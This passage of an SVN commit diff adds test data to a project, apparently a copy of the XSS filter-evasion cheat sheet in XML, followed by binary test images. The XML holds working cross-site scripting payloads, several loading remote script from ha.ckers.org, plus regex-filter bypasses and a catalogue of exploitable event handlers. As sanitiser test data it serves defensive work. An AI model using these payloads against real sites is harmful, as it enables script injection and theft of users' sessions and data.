+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Spaces/Meta Chars</name> 
+               <code>&lt;IMG SRC=&quot; &amp;#14;  javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn&apos;t take into account spaces in the word &quot;javascript:&quot; - which is correct since that won&apos;t render- and makes the false assumption that you can&apos;t have a space between the quote and the &quot;javascript:&quot; keyword. The actual reality is you can have any char from 1-32 in decimal).</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Non-Alpha/Non-Digit</name> 
+               <code>&lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>Non-alpha-non-digit XSS.  While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag.  The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.  For example &quot;&lt;SCRIPT\s&quot; != &quot;&lt;SCRIPT/XSS\s&quot;</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Non-Alpha/Non-Digit Part 2</name> 
+               <code>&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;</code> 
+               <desc>Non-alpha-non-digit XSS part 2.  yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>No Closing Script Tag</name> 
+               <code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js</code> 
+               <desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don&apos;t actually need the &quot;&gt;&lt;/SCRIPT&gt;&quot; portion of this Cross Site Scripting vector. Firefox assumes it&apos;s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn&apos;t affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they&apos;re not needed generally.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Protocol resolution in script tags</name> 
+               <code>&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;</code> 
+               <desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh&apos;s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &lt;/SCRIPT&gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &quot;.j&quot; is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Half-Open HTML/JavaScript</name> 
+               <code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;</code> 
+               <desc>Unlike Firefox, the IE rendering engine doesn&apos;t add extra data to your page, but it does allow the &quot;javascript:&quot; directive in images. This is useful as a vector because it doesn&apos;t require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &gt; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
+       /((\%3D)|(=))[^\n]*((\%3C)|&lt;)[^\n]+((\%3E)|>)/ 
+As a side note, this was also effective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Double open angle brackets</name> 
+               <code>&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;</code> 
+               <desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it&apos;s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won&apos;t</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Extraneous Open Brackets</name> 
+               <code>&lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;</code> 
+               <desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/).  This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course).  The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Malformed IMG Tags</name> 
+               <code>&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;</code> 
+               <desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes.  I assume this was originally meant to correct sloppy coding.  This would make it significantly more difficult to correctly parse apart an HTML tag.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>No Quotes/Semicolons</name> 
+               <code>&lt;SCRIPT&gt;a=/XSS/
+alert(a.source)&lt;/SCRIPT&gt;</code> 
+               <desc>No single quotes or double quotes or semicolons.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Event Handlers List 1</name> 
+               <code>See Below</code> 
+               <desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
+                       
+-FSCommand() (execute from within an embedded Flash object)

+-onAbort() (when user aborts the loading of an image)

+-onActivate() (when object is set as the active element)

+-onAfterPrint() (activates after user prints or previews print job)

+-onAfterUpdate() (activates on data object after updating data in the source object)

+-onBeforeActivate() (fires before the object is set as the active element)

+-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand(&quot;Copy&quot;) function)

+-onBeforeCut() (attacker executes the attack string right before a selection is cut)

+-onBeforeDeactivate() (fires right after the activeElement is changed from the current object)

+-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)

+-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(&quot;Paste&quot;) function)

+-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(&quot;Print&quot;) function)

+-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)

+-onBegin() (fires immediately when the element&apos;s timeline begins)

+-onBlur() (in the case where another popup is loaded and window loses focus)

+-onBounce() (fires when the behavior property of the marquee object is set to &quot;alternate&quot; and the contents of the marquee reach one side of the window)

+-onCellChange() (fires when data changes in the data provider)

+-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)

+-onClick() (fires when someone clicks on a form)

+-onContextMenu() (user would need to right click on attack area)

+-onControlSelect() (fires when the user is about to make a control selection of the object)

+-onCopy() (user needs to copy something or it can be exploited using the execCommand(&quot;Copy&quot;) command)

+-onCut() (user needs to copy something or it can be exploited using the execCommand(&quot;Cut&quot;) command)

+-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)

+-onDataSetChanged() (fires when the data set exposed by a data source object changes)

+-onDataSetComplete() (fires to indicate that all data is available from the data source object)

+-onDblClick() (fires when user double-clicks a form element or a link)

+-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)

+-onDrag() (requires that the user drags an object)

+-onDragEnd() (requires that the user drags an object)

+-onDragLeave() (requires that the user drags an object off a valid location)

+-onDragEnter() (requires that the user drags an object into a valid location)

+-onDragOver() (requires that the user drags an object into a valid location)

+-onDragDrop() (user drops an object (e.g. file) onto the browser window)

+-onDrop() (fires when user drops an object (e.g. file) onto the browser window)
+</desc> 
+               <label>Event Handlers</label> 
+               <browser>Browser support:</browser> 
+       </attack> 
+       <attack> 
+               <name>Event Handlers List 2</name> 
+               <code>See Below</code> 
+               <desc>-onEnd() (fires when the timeline ends.  This can be exploited, like most of the HTML+TIME event handlers by doing something like &lt;P STYLE=&quot;behavior:url(&apos;#default#time2&apos;)&quot; onEnd=&quot;alert(&apos;XSS&apos;)&quot;&gt;)
+                       
+-onError() (loading of a document or image causes an error)

+-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)

+-onFilterChange() (fires when a visual filter completes state change)

+-onFinish() (attacker could create the exploit when marquee is finished looping)

+-onFocus() (attacker executes the attack string when the window gets focus)

+-onFocusIn() (attacker executes the attack string when window gets focus)

+-onFocusOut() (attacker executes the attack string when window loses focus)

+-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)

+-onKeyDown() (fires when user depresses a key)

+-onKeyPress() (fires when user presses or holds down a key)

+-onKeyUp() (fires when user releases a key)

+-onLayoutComplete() (user would have to print or print preview)

+-onLoad() (attacker executes the attack string after the window loads)

+-onLoseCapture() (can be exploited by the releaseCapture() method)

+-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)

+-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)

+-onMouseDown() (the attacker would need to get the user to click on an image)

+-onMouseEnter() (fires when cursor moves over an object or area)

+-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)

+-onMouseMove() (the attacker would need to get the user to mouse over an image or table)

+-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)

+-onMouseOver() (fires when cursor moves over an object or area)

+-onMouseUp() (the attacker would need to get the user to click on an image)

+-onMouseWheel() (the attacker would need to get the user to use their mouse wheel)

+-onMove() (user or attacker would move the page)

+-onMoveEnd() (user or attacker would move the page)

+-onMoveStart() (user or attacker would move the page)

+-onOutOfSync() (interrupt the element&apos;s ability to play its media as defined by the timeline)

+-onPaste() (user would need to paste or attacker could use the execCommand(&quot;Paste&quot;) function)

+-onPause() (fires on every element that is active when the timeline pauses, including the body element)

+-onProgress() (attacker would use this as a flash movie was loading)

+-onPropertyChange() (user or attacker would need to change an element property)

+-onReadyStateChange() (user or attacker would need to change an element property)
+</desc> 
+               <label>Event Handlers</label> 
+               <browser>Browser support:</browser> 
+       </attack> 
+       <attack> 
+               <name>Event Handlers List 3</name> 
+               <code>See Below</code> 
+               <desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)
+                       
+-onReset() (fires when user or attacker resets a form)

+-onResize() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)

+-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)

+-onResizeStart() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)

+-onResume() (fires on every element that becomes active when the timeline resumes, including the body element)

+-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)

+-onRowEnter() (user or attacker would need to change a row in a data source)

+-onRowExit() (user or attacker would need to change a row in a data source)

+-onRowsDelete() (user or attacker would need to delete a row in a data source)

+-onRowsInserted() (user or attacker would need to insert a row in a data source)

+-onScroll() (user would need to scroll, or attacker could use the scrollBy() function)

+-onSeek() (fires when the timeline is set to play in any direction other than forward)

+-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)

+-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)

+-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)

+-onStart() (fires at the beginning of each marquee loop)

+-onStop() (user would need to press the stop button or leave the webpage)

+-onSyncRestored() (user interrupts the element&apos;s ability to play its media as defined by the timeline to fire)

+-onSubmit() (requires attacker or user submits a form)

+-onTimeError() (fires when user or attacker sets a time property, such as &quot;dur&quot;, to an invalid value)

+-onTrackChange() (fires when user or attacker changes track in a playList)

+-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)

+-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)

+-seekSegmentTime() (locates the specified point on the element&apos;s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
+</desc> 
+               <label>Event Handlers</label> 
+               <browser>Browser support:</browser> 
+       </attack> 
+       <attack> 
+               <name>Evade Regex Filter 1</name> 
+               <code>&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of the following regex filter:
+       /&lt;script[^&gt;]+src/i</desc> 
+               <label>XSS w/HTML Quote Encapsulation</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Evade Regex Filter 2</name> 
+               <code>&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of a regex filter:
+       /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i
+       
+(this is an important one, because I&apos;ve seen this regex in the wild)</desc> 
+               <label>XSS w/HTML Quote Encapsulation</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Evade Regex Filter 3</name> 
+               <code>&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>Another XSS to evade this regex filter:
+       /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> 
+               <label>XSS w/HTML Quote Encapsulation</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Evade Regex Filter 4</name> 
+               <code>&lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>Yet another XSS to evade the same filter:
+       /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i 
+The only thing I&apos;ve seen work against this XSS attack if you still want to allow &lt;SCRIPT&gt; tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow &lt;SCRIPT&gt; tags)</desc> 
+               <label>XSS w/HTML Quote Encapsulation</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Evade Regex Filter 5</name> 
+               <code>&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>And one last XSS attack (using grave accents) to evade this regex:
+       /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> 
+               <label>XSS w/HTML Quote Encapsulation</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Filter Evasion 1</name> 
+               <code>&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc> 
+               <label>XSS w/HTML Quote Encapsulation</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Filter Evasion 2</name> 
+               <code>&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>Here&apos;s an XSS example that bets on the fact that the regex won&apos;t catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc> 
+               <label>XSS w/HTML Quote Encapsulation</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack>
+</xss>
</ins></span></pre></div>
<a id="trunktestsdataimages20040722DSC_0007jpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/2004-07-22-DSC_0007.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/2004-07-22-DSC_0007.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/2004-07-22-DSC_0007.jpg     2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/2004-07-22-DSC_0007.jpg      2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/2004-07-22-DSC_0007.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimages20040722DSC_0008jpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/2004-07-22-DSC_0008.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/2004-07-22-DSC_0008.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/2004-07-22-DSC_0008.jpg     2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/2004-07-22-DSC_0008.jpg      2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/2004-07-22-DSC_0008.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimages20070617DSC_4173JPG"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/2007-06-17DSC_4173.JPG</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/2007-06-17DSC_4173.JPG
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/2007-06-17DSC_4173.JPG      2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/2007-06-17DSC_4173.JPG       2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/2007-06-17DSC_4173.JPG
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagesa2small100x75jpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/a2-small-100x75.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/a2-small-100x75.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/a2-small-100x75.jpg 2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/a2-small-100x75.jpg  2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/a2-small-100x75.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagesa2smalljpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/a2-small.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/a2-small.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/a2-small.jpg        2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/a2-small.jpg 2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/a2-small.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagescanolajpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/canola.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/canola.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/canola.jpg  2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/canola.jpg   2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/canola.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataimagesgradientsquarejpg"></a>
<div class="binary"><h4>Added: trunk/tests/data/images/gradient-square.jpg</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/images/gradient-square.jpg
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/images/gradient-square.jpg 2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/images/gradient-square.jpg  2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/images/gradient-square.jpg
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
